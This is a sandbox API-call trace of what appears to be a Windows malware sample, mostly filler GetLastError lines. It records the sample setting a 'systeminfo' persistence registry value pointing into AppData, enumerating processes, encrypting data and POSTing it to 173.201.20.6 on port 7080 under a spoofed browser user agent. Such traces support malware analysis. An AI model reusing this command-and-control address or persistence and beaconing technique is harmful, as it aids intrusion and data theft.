0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.592] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.593] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.594] GetLastError () returned 0x0 [0083.595] GetLastError () returned 0x0 [0083.595] GetLastError () returned 0x0 [0083.595] GetLastError () returned 0x0 [0083.595] GetLastError () returned 0x0 [0083.595] GetLastError () returned 0x0 [0083.595] GetLastError () returned 0x0 [0083.595] GetLastError () returned 0x0 [0083.595] GetLastError () returned 0x0 [0083.595] GetLastError () returned 0x0 [0083.595] GetLastError () returned 0x0 [0083.595] GetLastError () returned 0x0 [0083.595] GetLastError () returned 0x0 [0083.595] GetLastError () returned 0x0 [0083.595] GetLastError () returned 0x0 [0083.595] GetLastError () returned 0x0 [0083.595] GetLastError () returned 0x0 [0083.595] GetLastError () returned 0x0 [0083.595] GetLastError () returned 0x0 [0083.595] GetLastError () returned 0x0 [0083.595] GetLastError () returned 0x0 [0083.595] GetLastError () returned 0x0 [0083.595] GetLastError () returned 0x0 [0083.595] GetLastError () returned 0x0 [0083.596] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000005, lpBuffer=0x290f4b8, lpdwBufferLength=0x290f4c0, lpdwIndex=0x0 | out: lpBuffer=0x290f4b8*, lpdwBufferLength=0x290f4c0*=0x4, lpdwIndex=0x0) returned 1 [0083.596] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33c3a50, dwNumberOfBytesToRead=0x94, lpdwNumberOfBytesRead=0x290f4bc | out: lpBuffer=0x33c3a50*, lpdwNumberOfBytesRead=0x290f4bc*=0x94) returned 1 [0083.596] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x33c3ae4, dwNumberOfBytesToRead=0x0, lpdwNumberOfBytesRead=0x290f4bc | out: lpBuffer=0x33c3ae4*, lpdwNumberOfBytesRead=0x290f4bc*=0x0) returned 1 [0083.596] GetLastError () returned 0x0 [0083.596] GetCurrentProcess () returned 0xffffffff [0083.596] GetLastError () returned 0x0 [0083.596] wsprintfA (in: param_1=0x290f43f, param_2="%X%P" | out: param_1="767CF3P") returned 7 [0083.597] SetLastError (dwErrCode=0x0) [0083.597] GetCurrentProcessId () returned 0x81c [0083.597] GetLastError () returned 0x0 [0083.597] wsprintfA (in: param_1=0x290f42b, param_2="%X%P" | out: param_1="767CF4P") returned 7 [0083.597] SetLastError (dwErrCode=0x0) [0083.597] GetCurrentProcessId () returned 0x81c [0083.597] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x290f4c0 | out: phHash=0x290f4c0) returned 1 [0083.597] CryptDecrypt (in: hKey=0x3c6db8, hHash=0x3db6a8, Final=1, dwFlags=0x0, pbData=0x40c9d8, pdwDataLen=0x290f58c | out: pbData=0x40c9d8, pdwDataLen=0x290f58c) returned 1 [0083.597] CryptVerifySignatureW (hHash=0x3db6a8, pbSignature=0x33c3a50, dwSigLen=0x60, hPubKey=0x3c6328, szDescription=0x0, dwFlags=0x0) returned 1 [0083.597] CryptDestroyHash (hHash=0x3db6a8) returned 1 [0083.597] GetCurrentProcessId () returned 0x81c [0083.598] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0083.598] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0083.598] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0083.598] RegSetValueExW (in: hKey=0x3a4, lpValueName="systeminfo", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"", cbData=0x86 | out: lpData="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\"") returned 0x0 [0083.599] RegCloseKey (hKey=0x3a4) returned 0x0 [0084.001] GetTickCount () returned 0x23fdc [0084.001] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x290f388, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe")) returned 0x40 [0084.001] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe") returned 64 [0084.001] GetCurrentProcessId () returned 0x81c [0084.002] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3a4 [0084.003] GetCurrentProcessId () returned 0x81c [0084.003] Process32FirstW (in: hSnapshot=0x3a4, lppe=0x290f148 | out: lppe=0x290f148*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0084.004] lstrlenA (lpString="just string") returned 11 [0084.004] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0084.004] GetLastError () returned 0x0 [0084.004] GetCurrentProcessId () returned 0x81c [0084.018] CryptDuplicateHash (in: hHash=0x3c7488, pdwReserved=0x0, dwFlags=0x0, phHash=0x290f4c0 | out: phHash=0x290f4c0) returned 1 [0084.018] CryptEncrypt (in: hKey=0x3c6db8, hHash=0x3db6a8, Final=1, dwFlags=0x0, pbData=0x40bf5c*, pdwDataLen=0x290f4b4*=0x23c, dwBufLen=0x240 | out: pbData=0x40bf5c*, pdwDataLen=0x290f4b4*=0x240) returned 1 [0084.018] GetCurrentProcess () returned 0xffffffff [0084.018] GetLastError () returned 0x12 [0084.018] wsprintfA (in: param_1=0x290f3af, param_2="%X%P" | out: param_1="7713A7P") returned 7 [0084.018] SetLastError (dwErrCode=0x12) [0084.018] GetCurrentProcessId () returned 0x81c [0084.018] CryptExportKey (in: hKey=0x3c6db8, hExpKey=0x3c6328, dwBlobType=0x1, dwFlags=0x40, pbData=0x290f444, pdwDataLen=0x290f4b0 | out: pbData=0x290f444*, pdwDataLen=0x290f4b0*=0x6c) returned 1 [0084.018] GetLastError () returned 0x0 [0084.018] wsprintfA (in: param_1=0x290f3af, param_2="%X%P" | out: param_1="7713A8P") returned 7 [0084.018] SetLastError (dwErrCode=0x0) [0084.018] GetCurrentProcessId () returned 0x81c [0084.018] CryptGetHashParam (in: hHash=0x3db6a8, dwParam=0x2, pbData=0x40bf48, pdwDataLen=0x290f4b0, dwFlags=0x0 | out: pbData=0x40bf48, pdwDataLen=0x290f4b0) returned 1 [0084.018] CryptDestroyHash (hHash=0x3db6a8) returned 1 [0084.018] GetCurrentProcessId () returned 0x81c [0084.018] GetCurrentProcessId () returned 0x81c [0084.018] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x290f2b8, cbSize=0x290f4b8 | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", cbSize=0x290f4b8) returned 0x0 [0084.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x290f2b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 179 [0084.019] InternetOpenW (lpszAgent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0084.019] InternetConnectW (hInternet=0xcc0004, lpszServerName="173.201.20.6", nServerPort=0x1ba8, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0084.019] GetLastError () returned 0x0 [0084.019] wsprintfA (in: param_1=0x290f447, param_2="%X%P" | out: param_1="7713C6P") returned 7 [0084.019] SetLastError (dwErrCode=0x0) [0084.019] GetCurrentProcessId () returned 0x81c [0084.019] GetCurrentProcessId () returned 0x81c [0084.019] GetCurrentProcessId () returned 0x81c [0084.019] GetCurrentProcessId () returned 0x81c [0084.019] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName=0x0, lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x844cc300, dwContext=0x0) returned 0xcc000c [0084.020] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0xffffffff, lpOptional=0x40bee8*, dwOptionalLength=0x2b4 | out: lpOptional=0x40bee8*) returned 1 [0084.587] GetLastError () returned 0x0 [0084.587] GetLastError () returned 0x0 [0084.587] GetLastError () returned 0x0 [0084.587] GetLastError () returned 0x0 [0084.587] GetLastError () returned 0x0 [0084.587] GetLastError () returned 0x0 [0084.587] GetLastError () returned 0x0 [0084.587] GetLastError () returned 0x0 [0084.587] GetLastError () returned 0x0 [0084.587] GetLastError () returned 0x0 [0084.587] GetLastError () returned 0x0 [0084.587] GetLastError () returned 0x0 [0084.587] GetLastError () returned 0x0 [0084.587] GetLastError () returned 0x0 [0084.587] GetLastError () returned 0x0 [0084.587] GetLastError () returned 0x0 [0084.587] GetLastError () returned 0x0 [0084.587] GetLastError () returned 0x0 [0084.587] GetLastError () returned 0x0 [0084.587] GetLastError () returned 0x0 [0084.587] GetLastError () returned 0x0 [0084.587] GetLastError () returned 0x0 [0084.587] GetLastError () returned 0x0 [0084.587] GetLastError () returned 0x0 [0084.587] GetLastError () returned 0x0 [0084.587] GetLastError () returned 0x0 [0084.587] GetLastError () returned 0x0 [0084.587] GetLastError () returned 0x0 [0084.587] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.588] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.589] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.590] GetLastError () returned 0x0 [0084.591] GetLastError () returned 0x0 [0084.591] GetLastError () returned 0x0 [0084.591] GetLastError () returned 0x0 [0084.591] GetLastError () returned 0x0 [0084.591] GetLastError () returned 0x0 [0084.591] GetLastError () returned 0x0 [0084.591] GetLastError () returned 0x0 [0084.591] GetLastError () returned 0x0 [0084.591] GetLastError () returned 0x0 [0084.591] GetLastError () returned 0x0 [0084.591] GetLastError () returned 0x0 [0084.591] GetLastError () returned 0x0 [0084.591] GetLastError () returned 0x0 [0084.591] GetLastError () returned 0x0 [0084.591] GetLastError () returned 0x0 [0084.591] GetLastError () returned 0x0 [0084.591] GetLastError () returned 0x0 [0084.591] GetLastError () returned 0x0 [0084.591] GetLastError () returned 0x0 [0084.591] GetLastError () returned 0x0 [0084.591] GetLastError () returned 0x0 [0084.591] GetLastError () returned 0x0 [0084.591] GetLastError () returned 0x0 [0084.591] GetLastError () returned 0x0 [0084.591] GetLastError () returned 0x0 [0084.591] GetLastError () returned 0x0 [0084.591] GetLastError () returned 0x0 [0084.591] GetLastError () returned 0x0 [0084.591] GetLastError () returned 0x0 [0084.591] GetLastError () returned 0x0 [0084.591] GetLastError () returned 0x0 [0084.591] GetLastError () returned 0x0 [0084.591] GetLastError () returned 0x0 [0084.592] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x290f570, lpdwBufferLength=0x290f4c8, lpdwIndex=0x0 | out: lpBuffer=0x290f570*, lpdwBufferLength=0x290f4c8*=0x4, lpdwIndex=0x0) returned 1 [0084.592] GetCurrentProcessId () returned 0x81c [0084.592] GetLastError () returned 0x0 [0084.592] GetLastError () returned 0x0 [0084.592] GetLastError () returned 0x0 [0084.592] GetLastError () returned 0x0 [0084.592] GetLastError () returned 0x0 [0084.592] GetLastError () returned 0x0 [0084.592] GetLastError () returned 0x0 [0084.592] GetLastError () returned 0x0 [0084.592] GetLastError () returned 0x0 [0084.592] GetLastError () returned 0x0 [0084.592] GetLastError () returned 0x0 [0084.592] GetLastError () returned 0x0 [0084.592] GetLastError () returned 0x0 [0084.592] GetLastError () returned 0x0 [0084.592] GetLastError () returned 0x0 [0084.592] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.593] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.594] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] GetLastError () returned 0x0 [0084.595] 